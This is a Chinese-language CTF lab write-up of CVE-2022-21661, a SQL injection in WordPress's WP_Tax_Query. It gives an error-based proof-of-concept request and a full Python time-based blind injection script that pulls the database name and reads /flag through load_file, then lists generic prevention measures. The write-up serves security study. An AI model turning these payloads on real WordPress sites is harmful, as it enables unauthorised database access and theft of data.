CVE-2022-21661
简介
CVE-2022-21661是一个与WordPress相关的漏洞,涉及到SQL注入问题。该漏洞主要源于WordPress的WQ_Tax_Query类中的clean_query函数,可能允许攻击者通过控制传递给该函数的数据来控制生成的SQL查询,从而执行任意的SQL代码。
当WordPress的执行进入WQ_Tax_Query类的get_sql函数时,会调用transform_query函数来处理接收到的数据,并将其组合成SQL查询中的条件。然而,如果攻击者能够控制clean_query的返回数据,他们就可以控制SQL查询的执行。
具体来说,WQ_Tax_Query类中的get_sql、get_sql_clauses、get_sql_for_query和get_sql_for_clause等函数可以接收并处理传递给它们的数据,并将其用于构建SQL查询。然而,如果在传递给这些函数的数据中存在某些特定的控制字符或序列,攻击者就可以尝试修改生成的SQL查询,从而执行他们自己的恶意代码。
例如,如果攻击者在传递给clean_query函数的数据中插入某些特定的控制字符或序列,他们就可以尝试修改生成的SQL查询,从而执行他们自己的恶意代码。在某些情况下,这可能会导致攻击者能够执行任意的SQL代码,从而对数据库进行访问或修改
靶场介绍
2022年1月6日,wordpress发布了5.8.3版本,修复了一处核心代码WP_Query的sql注入漏洞。WP_Query是wordpress定义的一个类,允许开发者编写自定义查询和使用不同的参数展示文章,并可以直接查询wordpress数据库,在核心框架和插件以及主题中广泛使用。源码位置:www.tar
漏洞利用
1.打开场景,下载源码

2.根据官方公布,漏洞存在路径/wp-admin/admin-ajax.php,进行访问

3.判断方法,post提交action=函数名,当调用方法正确即调用的WP_Query的构造方法的action无回显,当调用方法不对或者不存在返回0。


4.开启调试模式poc
action=test&data={"tax_query":{"0":{"field":"term_taxonomy_id","terms":["111) and extractvalue(rand(),concat(0x5e,user(),0x5e))#"]}}}

5.exp
import requests
import timedef time_delay(url, headers, payload):start_time = time.time()response = requests.post(url, headers=headers, data=payload)end_time = time.time()#print(end_time,start_time)delay = end_time - start_timereturn delaydef time_based_blind_sql_injection(url, headers):result=[]for i in range(1, 100):for j in range(32,126):#r'0123456789abcdefghijklmnopqrstuvwxyz_-{}':#find db#payload = """{"id":" (if((substr(database(),%d,1))='%s',sleep(10),1))#"}""" % (i, j)#find table#payload = """{"id":" (if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),%d,1))=%d,sleep(10),1))#"}""" % (i, j)#find table -wp%#payload = """{"id":" (if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database() and table_name not like 0x777025),%d,1))=%d,sleep(10),1))#"}""" % (i, j)#find column#payload = """{"id":" (if(ascii(substr((select count(column_name) from information_schema.columns where table_name='flag'),%d,1))=%d,sleep(10),1))#"}""" % (i, j)#payload = """{"id":" ()#"}""" % (i, j)payload = """action=test&data={"tax_query":{"0":{"field":"term_taxonomy_id","terms":["1) or (if(ascii(substr((select database()),%d,1))=%d,sleep(10),1))#"]}}}""" % (i, j)payload = """action=test&data={"tax_query":{"0":{"field":"term_taxonomy_id","terms":["1) or (if(ascii(substr((select load_file('/flag')),%d,1))=%d,sleep(4),1))#"]}}}""" % (i, j)delay = time_delay(url, headers, payload)print('{ ',''.join(result),' } -> @',i,'-',j,"time_delay:",delay)if delay > 4:result.append(chr(j))print(''.join(result))breakelse:print("The payload is not vulnerable to SQL injection.")print('result:',''.join(result))if __name__ == "__main__":url = "http://eci-2ze5vwsprrajw37m4s5i.cloudeci1.ichunqiu.com/wp-admin/admin-ajax.php"headers = {'Cache-Control': 'no-cache, must-revalidate, max-age=0','Upgrade-Insecure-Requests': '1','User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0','Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8','Accept-Encoding': 'gzip, deflate','Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2','Cookie': 'Hm_lvt_2d0601bd28de7d49818249cf35d95943=1700540775,1700564324,1700612154,1700705633; _ga=GA1.2.959161918.1696849239; _ga_J1DQF09WZC=GS1.2.1696849239.1.0.1696849239.0.0.0; chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O; ci_session=9c000c680a124d4c70cd5cd818dc95d373e61b93; Hm_lpvt_2d0601bd28de7d49818249cf35d95943=1700705649','Connection': 'keep-alive','Content-Type': 'application/x-www-form-urlencoded',}time_based_blind_sql_injection(url, headers)
6.结果

预防
为了防止CVE-2022-21661漏洞和其他SQL注入攻击,可以采取以下几种措施:
- 输入验证和过滤:对用户输入的数据进行严格的验证和过滤,确保只接受预期的数据类型和格式。这可以通过服务器端和客户端的验证实现。
- 参数化查询和预编译语句:使用参数化查询和预编译语句可以防止攻击者修改原始查询。这可以防止SQL注入攻击,因为参数值不会被解释为SQL代码。
- 使用最新的版本和补丁:及时更新软件和应用程序,并应用最新的安全补丁。这可以修复已知的漏洞,并提高系统的安全性。
- 限制数据库用户的权限:将数据库用户的权限限制为仅能执行必要的操作,并禁止执行其他可能不安全的操作。
- 加密敏感数据:对敏感数据进行加密,以防止攻击者访问和利用这些数据。
- 配置安全设置:根据应用程序的需要,配置安全设置,例如禁用不必要的数据库功能、限制远程访问等。
- 定期备份数据库:定期备份数据库,以防止数据被篡改或丢失。
- 安全审计和监控:定期进行安全审计和监控,及时发现并修复潜在的安全问题。
相关文章:
CVE-2022-21661
简介 CVE-2022-21661是一个与WordPress相关的漏洞,涉及到SQL注入问题。该漏洞主要源于WordPress的WQ_Tax_Query类中的clean_query函数,可能允许攻击者通过控制传递给该函数的数据来控制生成的SQL查询,从而执行任意的SQL代码。 当WordPress的…...
【Python】tensorboard实时查看模型训练过程的方法示例
本文对tensorboard实时查看模型训练过程的方法进行实例详解,以帮助大家理解和使用。 步骤1:查看训练过程保存的文件中是否有这个文件,红框内的。 步骤2:如果有,则打开终端,激活安装过tensorboard的环境。…...
Golang基础-面向对象篇
文章目录 struct结构体类的表示与封装类的继承多态的基本要素与实现interface空接口反射变量的内置pairreflect包解析Struct TagStruct Tag在json中的应用 struct结构体 在Go语言中,可以使用type 关键字来创建自定义类型,这对于提高代码的可读性和可维护…...
全国的科技创新情况数据分享,涵盖2020-2022年三年情况
随着国家对科技创新的重视和大力支持,全国的科技创新情况越来越受到关注。 我们根据中国城市统计年鉴的这方面指标,分析汇总得出全国科技创新情况数据,需要说明的是,由于统计年鉴指标调整,每一年的数据并非字段相同&a…...
visionOS空间计算实战开发教程Day 1:环境安装和编写第一个程序
安装 截至目前visionOS还未在Xcode稳定版中开放,所以需要下载Xcode Beta版。比如我们可以下载Xcode 15.1 beta 2,注意Xcode 15要求系统的版本是macOS Ventura 13.5或更新,也就是说2017年的MacBook Pro基本可以勉强一战,基…...
java常见数值类型取值范围/ int short long BigInteger取值范围
文章目录 一、各类型取值范围 一、各类型取值范围 以下整理java中常用的数值类型取值范围。 类型字节大小最小值最大值取值范围byte8bit-128127-128到127short16bit-2 15 ^{15} 152 15 ^{15} 15-1-32768-32767int32bit-2 31 ^{31} 312 31 ^{31} 31 -1-2,147,483,648 到 2,147…...
echarts产品日常奇怪需求
设置最小刻度导致好多小数,限制两位 yAxis 指定的y轴设置 axisLabel,可以格式化显示 文档地址:https://echarts.apache.org/zh/option.html#yAxis.axisLabel.formatter yAxis: [{type: value,name: 利率,position: right,alignTicks: true,mi…...
CSDN文章保存为MD文档(一)
免责声明 文章仅做经验分享用途,利用本文章所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任,一旦造成后果请自行承担!!! import os import re i…...
【tomcat】java.lang.Exception: Socket bind failed: [730048
项目中一些旧工程运行情况处理 问题 1、启动端口占用 2、打印编码乱码 ʮһ�� 13, 2023 9:33:26 ���� org.apache.coyote.AbstractProtocol init ����: Fa…...
什么是高防IP?有什么优势?怎么选择高防IP?
在当今的互联网环境中,分布式拒绝服务(DDoS)攻击已经成为一种常见的安全威胁。这种攻击通过向目标服务器发送大量的无效流量,使其无法处理正常的请求,从而达到迫使服务中断的目的。作为一个用户,你是否曾遇…...
不存在类型变量 A, T 的实例,使 Collector<T, A, List<T>> 符合 Supplier<R>
报错信息 原因: 不存在类型变量 A, T 的实例,使 Collector<T, A, List<\T>> 符合 Supplier<\R> 来源 测试Stream流的map方法,做算法习惯基本类型定义数组。 map方法:Stream API的一部分。允许以一种声明式的方式处理数据,…...
千兆光模块和万兆光模块的供应链管理
随着网络通信技术的不断发展,千兆光模块和万兆光模块已逐渐成为现代网络建设中不可缺少的组成部分。它们在云计算、数据中心、大规模机房以及企业内部网络等领域广泛应用,已经成为大家熟知的产品。 千兆光模块和万兆光模块的工作原理基本相同ÿ…...
pytorch训练出现的bug
训练过后发现.csv文件左侧出现了几列unname和一列0,1,2。这个时候在训练就会从unname那一列开始训练。我们需要把这几列删除,之后再重新训练 问题应该是执行完了这个语句过后就会出现了。 执行完后,记得删。...
【AGC】集成AGC服务上架应用市场审核问题
【关键字】 AGC、应用市场、审核 【问题描述】 集成了AGC服务,上架到应用市场不通过,检查发现是com.huawei.secure.android.common.ssl.util.c.doInBackground 存在获取安装列表行为。 已经按照sdk 设置了,但是检测还是有授权前去获取安装列…...
element emitter broadcast向下广播 dispatch向上分派
emitter 项目使用element的emitter.js,做个使用记录 function broadcast(componentName, eventName, params) {this.$children.forEach(child > {const name child.$options.name;if (name componentName) {child.$emit.apply(child, [eventName].concat(para…...
基于 Modbus 的工业数据采集、控制(part 2)
基本处理流程 服务器 parse_and_process(char * input)//input :post请求发送的正文 {...// 请求 modbus 数据else if(strstr(input, "modbus_get")){return handle_get(sock, input);}// 控制 modbus 设备else if(strstr(input, "modbus_set")){return …...
vue前端项目如何配置后端项目的请求地址
在 Vue 前端项目中配置后端项目的访问地址可以通过修改项目的配置文件来实现。Vue 常用的配置文件是 vue.config.js,你可以按照以下步骤进行配置: 在 Vue 项目的根目录下,创建或编辑 vue.config.js 文件。 在 vue.config.js 中,可…...
Lora学习资料汇总
目录 LoRa联盟 Semtech lora网关供应商: LoRaMAC API文档 论坛 开发板 主流技术对比分析 LoRa网络距离模拟测试方法 LoRa应用 LoRa联盟 LoRa联盟:LoRaWAN规范的制定组织 https://www.lora-alliance.org/ LoRa技术白皮书:https://www.lora-alli…...
Oracle的控制文件多路复用,控制文件备份,控制文件手工恢复
一.配置控制文件多路复用 1.查询Oracle的控制文件所在位置 SQL> select name from v$controlfile;NAME -------------------------------------------------------------------------------- /u01/app/oracle/oradata/orcl/control01.ctl /u01/app/oracle/fast_recovery_a…...
在线视频课程教育系统源码/网课网校/知识付费/在线教育系统/在线课程培训系统源码
源码简介: 在线视频课程教育系统源码,作为网课/网校/知识付费/在线教育系统,它有文章付费阅读在线点播自动发货付费阅读VIP会员系统等功能。它是实用的在线课程培训系统源码。 发货100-在线视频课程教育系统,它是一款功能实用的…...
土地利用/土地覆盖遥感解译与基于CLUE模型未来变化情景预测;从基础到高级,涵盖ArcGIS数据处理、ENVI遥感解译与CLUE模型情景模拟等
🔍 土地利用/土地覆盖数据是生态、环境和气象等诸多领域模型的关键输入参数。通过遥感影像解译技术,可以精准获取历史或当前任何一个区域的土地利用/土地覆盖情况。这些数据不仅能够用于评估区域生态环境的变化趋势,还能有效评价重大生态工程…...
Spring AI 入门:Java 开发者的生成式 AI 实践之路
一、Spring AI 简介 在人工智能技术快速迭代的今天,Spring AI 作为 Spring 生态系统的新生力量,正在成为 Java 开发者拥抱生成式 AI 的最佳选择。该框架通过模块化设计实现了与主流 AI 服务(如 OpenAI、Anthropic)的无缝对接&…...
自然语言处理——循环神经网络
自然语言处理——循环神经网络 循环神经网络应用到基于机器学习的自然语言处理任务序列到类别同步的序列到序列模式异步的序列到序列模式 参数学习和长程依赖问题基于门控的循环神经网络门控循环单元(GRU)长短期记忆神经网络(LSTM)…...
Spring Cloud Gateway 中自定义验证码接口返回 404 的排查与解决
Spring Cloud Gateway 中自定义验证码接口返回 404 的排查与解决 问题背景 在一个基于 Spring Cloud Gateway WebFlux 构建的微服务项目中,新增了一个本地验证码接口 /code,使用函数式路由(RouterFunction)和 Hutool 的 Circle…...
CSS设置元素的宽度根据其内容自动调整
width: fit-content 是 CSS 中的一个属性值,用于设置元素的宽度根据其内容自动调整,确保宽度刚好容纳内容而不会超出。 效果对比 默认情况(width: auto): 块级元素(如 <div>)会占满父容器…...
OD 算法题 B卷【正整数到Excel编号之间的转换】
文章目录 正整数到Excel编号之间的转换 正整数到Excel编号之间的转换 excel的列编号是这样的:a b c … z aa ab ac… az ba bb bc…yz za zb zc …zz aaa aab aac…; 分别代表以下的编号1 2 3 … 26 27 28 29… 52 53 54 55… 676 677 678 679 … 702 703 704 705;…...
一些实用的chrome扩展0x01
简介 浏览器扩展程序有助于自动化任务、查找隐藏的漏洞、隐藏自身痕迹。以下列出了一些必备扩展程序,无论是测试应用程序、搜寻漏洞还是收集情报,它们都能提升工作流程。 FoxyProxy 代理管理工具,此扩展简化了使用代理(如 Burp…...
Python学习(8) ----- Python的类与对象
Python 中的类(Class)与对象(Object)是面向对象编程(OOP)的核心。我们可以通过“类是模板,对象是实例”来理解它们的关系。 🧱 一句话理解: 类就像“图纸”,对…...
【java面试】微服务篇
【java面试】微服务篇 一、总体框架二、Springcloud(一)Springcloud五大组件(二)服务注册和发现1、Eureka2、Nacos (三)负载均衡1、Ribbon负载均衡流程2、Ribbon负载均衡策略3、自定义负载均衡策略4、总结 …...
PydanticAI快速入门示例
参考链接:https://ai.pydantic.dev/#why-use-pydanticai 示例代码 from pydantic_ai import Agent from pydantic_ai.models.openai import OpenAIModel from pydantic_ai.providers.openai import OpenAIProvider# 配置使用阿里云通义千问模型 model OpenAIMode…...
